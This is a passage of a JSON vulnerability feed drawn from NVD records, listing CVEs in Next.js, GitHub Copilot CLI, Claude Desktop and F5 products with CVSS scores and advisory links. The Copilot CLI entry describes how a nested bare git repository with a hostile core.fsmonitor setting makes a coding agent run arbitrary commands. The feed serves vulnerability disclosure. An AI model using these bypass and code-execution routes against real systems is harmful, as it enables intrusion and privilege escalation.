2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44575","cveId":"CVE-2026-44575","aliases":[],"kind":"vulnerability","title":"Next.js is a React framework for building full-stack web applications.","summary":"Next.js is a React framework for building full-stack web applications. From 15.2.0 to before 15.5.16 and 16.2.5, App Router applications that rely on middleware or proxy-based checks for authorization can allow unauthorized access through transport-specific route variants used for segment prefetching. In affected configurations, specially crafted .rsc and segment-prefetch URLs can resolve to the same page without being matched by the intended middleware rule, which can allow protected content to be reached without the expected authorization check. This vulnerability is fixed in 15.5.16 and 16.2.5.","detail":"Next.js is a React framework for building full-stack web applications. From 15.2.0 to before 15.5.16 and 16.2.5, App Router applications that rely on middleware or proxy-based checks for authorization can allow unauthorized access through transport-specific route variants used for segment prefetching. In affected configurations, specially crafted .rsc and segment-prefetch URLs can resolve to the same page without being matched by the intended middleware rule, which can allow protected content to be reached without the expected authorization check. This vulnerability is fixed in 15.5.16 and 16.2.5.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T17:16:22.907Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"vercel","product":"next.js","stacks":["Next.js","next.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44575","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44575","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44575","type":"primary","publishedAt":"2026-05-13T17:16:22.907Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/vercel/next.js/security/advisories/GHSA-267c-6grr-h53f","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44574","cveId":"CVE-2026-44574","aliases":[],"kind":"vulnerability","title":"Next.js is a React framework for building full-stack web applications.","summary":"Next.js is a React framework for building full-stack web applications. From 15.4.0 to before 15.5.16 and 16.2.5, applications that rely on middleware to protect dynamic routes can be vulnerable to authorization bypass. In affected deployments, specially crafted query parameters can alter the dynamic route value seen by the page while leaving the visible path unchanged, which can allow protected content to be rendered without passing the expected middleware check. This vulnerability is fixed in 15.5.16 and 16.2.5.","detail":"Next.js is a React framework for building full-stack web applications. From 15.4.0 to before 15.5.16 and 16.2.5, applications that rely on middleware to protect dynamic routes can be vulnerable to authorization bypass. In affected deployments, specially crafted query parameters can alter the dynamic route value seen by the page while leaving the visible path unchanged, which can allow protected content to be rendered without passing the expected middleware check. This vulnerability is fixed in 15.5.16 and 16.2.5.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T17:16:22.767Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"vercel","product":"next.js","stacks":["Next.js","next.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44574","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44574","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44574","type":"primary","publishedAt":"2026-05-13T17:16:22.767Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/vercel/next.js/security/advisories/GHSA-492v-c6pp-mqqv","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44573","cveId":"CVE-2026-44573","aliases":[],"kind":"vulnerability","title":"Next.js is a React framework for building full-stack web applications.","summary":"Next.js is a React framework for building full-stack web applications. From 12.2.0 to before 15.5.16 and 16.2.5, Applications using the Pages Router with i18n configured and middleware/proxy-based authorization can allow unauthorized access to protected page data through locale-less /_next/data/<buildId>/<page>.json requests. In affected configurations, middleware does not run for the unprefixed data route, allowing an attacker to retrieve SSR JSON for protected pages without passing the intended authorization checks. This vulnerability is fixed in 15.5.16 and 16.2.5.","detail":"Next.js is a React framework for building full-stack web applications. From 12.2.0 to before 15.5.16 and 16.2.5, Applications using the Pages Router with i18n configured and middleware/proxy-based authorization can allow unauthorized access to protected page data through locale-less /_next/data/<buildId>/<page>.json requests. In affected configurations, middleware does not run for the unprefixed data route, allowing an attacker to retrieve SSR JSON for protected pages without passing the intended authorization checks. This vulnerability is fixed in 15.5.16 and 16.2.5.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T17:16:22.627Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"vercel","product":"next.js","stacks":["Next.js","next.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44573","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44573","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44573","type":"primary","publishedAt":"2026-05-13T17:16:22.627Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/vercel/next.js/security/advisories/GHSA-36qx-fr4f-26g5","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45033","cveId":"CVE-2026-45033","aliases":[],"kind":"vulnerability","title":"GitHub Copilot CLI brings AI-powered coding assistance directly to your command line.","summary":"GitHub Copilot CLI brings AI-powered coding assistance directly to your command line. Prior to 1.0.43, a  security vulnerability has been identified in GitHub Copilot CLI where a malicious bare git repository nested inside a project directory can achieve arbitrary code execution when the agent performs git operations. By exploiting git's automatic bare repository discovery during directory traversal, an attacker can set core.fsmonitor or other executable config keys to run arbitrary commands without user awareness or approval. The vulnerability arises because git's core.fsmonitor config key (and 15+ similar keys such as core.hookspath, diff.external, merge.tool, etc.) can specify arbitrary shell commands that git will execute as part of normal operations like status, diff, or rev-parse. This vulnerability is fixed in 1.0.43.","detail":"GitHub Copilot CLI brings AI-powered coding assistance directly to your command line. Prior to 1.0.43, a  security vulnerability has been identified in GitHub Copilot CLI where a malicious bare git repository nested inside a project directory can achieve arbitrary code execution when the agent performs git operations. By exploiting git's automatic bare repository discovery during directory traversal, an attacker can set core.fsmonitor or other executable config keys to run arbitrary commands without user awareness or approval. The vulnerability arises because git's core.fsmonitor config key (and 15+ similar keys such as core.hookspath, diff.external, merge.tool, etc.) can specify arbitrary shell commands that git will execute as part of normal operations like status, diff, or rev-parse. This vulnerability is fixed in 1.0.43.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:17:00.313Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"github","product":"copilot-cli","stacks":["AI coding agents","copilot-cli"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45033","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45033","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45033","type":"primary","publishedAt":"2026-05-13T16:17:00.313Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/github/copilot-cli/security/advisories/GHSA-9ccr-r5hg-74gf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44470","cveId":"CVE-2026-44470","aliases":[],"kind":"vulnerability","title":"The Claude Desktop app gives you Claude Code with a graphical interface built for running multiple sessions side by side.","summary":"The Claude Desktop app gives you Claude Code with a graphical interface built for running multiple sessions side by side. Prior to 1.3834.0, the CoworkVMService component in Claude Desktop for Windows ran as SYSTEM and did not validate whether the VM bundle directory was a real directory or an NTFS directory junction before creating files within it. A local non-elevated user could replace the user-writable VM bundle directory with a directory junction pointing to an attacker-chosen location, causing the service to create a SYSTEM-owned file in an arbitrary directory. This could be leveraged for local privilege escalation. This vulnerability is fixed in 1.3834.0.","detail":"The Claude Desktop app gives you Claude Code with a graphical interface built for running multiple sessions side by side. Prior to 1.3834.0, the CoworkVMService component in Claude Desktop for Windows ran as SYSTEM and did not validate whether the VM bundle directory was a real directory or an NTFS directory junction before creating files within it. A local non-elevated user could replace the user-writable VM bundle directory with a directory junction pointing to an attacker-chosen location, causing the service to create a SYSTEM-owned file in an arbitrary directory. This could be leveraged for local privilege escalation. This vulnerability is fixed in 1.3834.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:58.263Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"anthropic","product":"claude desktop","stacks":["AI coding agents","claude desktop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44470","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44470","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44470","type":"primary","publishedAt":"2026-05-13T16:16:58.263Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/anthropics/claude-code/security/advisories/GHSA-5p5x-5294-qhp3","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44467","cveId":"CVE-2026-44467","aliases":[],"kind":"vulnerability","title":"The Claude Desktop app gives you Claude Code with a graphical interface built for running multiple sessions side by side.","summary":"The Claude Desktop app gives you Claude Code with a graphical interface built for running multiple sessions side by side. From 1.2581.0 to before 1.4304.0, Claude Desktop's SSH remote development feature verified only whether a hostname existed in ~/.ssh/known_hosts without comparing the server's presented host key against the stored key. This allowed a network-positioned attacker to present an arbitrary SSH host key and have the connection silently accepted, enabling a man-in-the-middle attack on remote development sessions. Successful exploitation required the attacker to be in a network position to intercept SSH traffic (e.g., via ARP spoofing, rogue Wi-Fi, or DNS poisoning) and the target hostname to already have an entry in the victim's known_hosts file. This vulnerability is fixed in 1.4304.0.","detail":"The Claude Desktop app gives you Claude Code with a graphical interface built for running multiple sessions side by side. From 1.2581.0 to before 1.4304.0, Claude Desktop's SSH remote development feature verified only whether a hostname existed in ~/.ssh/known_hosts without comparing the server's presented host key against the stored key. This allowed a network-positioned attacker to present an arbitrary SSH host key and have the connection silently accepted, enabling a man-in-the-middle attack on remote development sessions. Successful exploitation required the attacker to be in a network position to intercept SSH traffic (e.g., via ARP spoofing, rogue Wi-Fi, or DNS poisoning) and the target hostname to already have an entry in the victim's known_hosts file. This vulnerability is fixed in 1.4304.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:58.100Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"anthropic","product":"claude desktop","stacks":["AI coding agents","claude desktop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44467","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44467","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44467","type":"primary","publishedAt":"2026-05-13T16:16:58.100Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/anthropics/claude-code/security/advisories/GHSA-3rwf-2g6p-c2f9","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42946","cveId":"CVE-2026-42946","aliases":[],"kind":"vulnerability","title":"A vulnerability exists in the ngx_http_scgi_module and ngx_http_uwsgi_module modules that may result in excessive memory allocation or an over-read of data.","summary":"A vulnerability exists in the ngx_http_scgi_module and ngx_http_uwsgi_module modules that may result in excessive memory allocation or an over-read of data. When scgi_pass or uwsgi_pass is configured, an unauthenticated attacker with man-in-the-middle (MITM) ability to control responses from an upstream server may be able to read the memory of the NGINX worker process or restart it.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"A vulnerability exists in the ngx_http_scgi_module and ngx_http_uwsgi_module modules that may result in excessive memory allocation or an over-read of data. When scgi_pass or uwsgi_pass is configured, an unauthenticated attacker with man-in-the-middle (MITM) ability to control responses from an upstream server may be able to read the memory of the NGINX worker process or restart it.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:50.340Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"dos","stacks":["F5 BIG-IP","dos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42946","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42946","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42946","type":"primary","publishedAt":"2026-05-13T16:16:50.340Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000161027","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42937","cveId":"CVE-2026-42937","aliases":[],"kind":"vulnerability","title":"Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) arp and ndp commands, and in BIG-IP iControl REST.","summary":"Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) arp and ndp commands, and in BIG-IP iControl REST. These vulnerabilities may allow an authenticated attacker to view adjacent network information. \n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) arp and ndp commands, and in BIG-IP iControl REST. These vulnerabilities may allow an authenticated attacker to view adjacent network information. \n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:50.050Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42937","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42937","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42937","type":"primary","publishedAt":"2026-05-13T16:16:50.050Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000161018","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42930","cveId":"CVE-2026-42930","aliases":[],"kind":"vulnerability","title":"When running in Appliance mode, an authenticated attacker assigned the 'Administrator' role may be able to bypass Appliance mode restrictions on a BIG-IP system.","summary":"When running in Appliance mode, an authenticated attacker assigned the 'Administrator' role may be able to bypass Appliance mode restrictions on a BIG-IP system.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When running in Appliance mode, an authenticated attacker assigned the 'Administrator' role may be able to 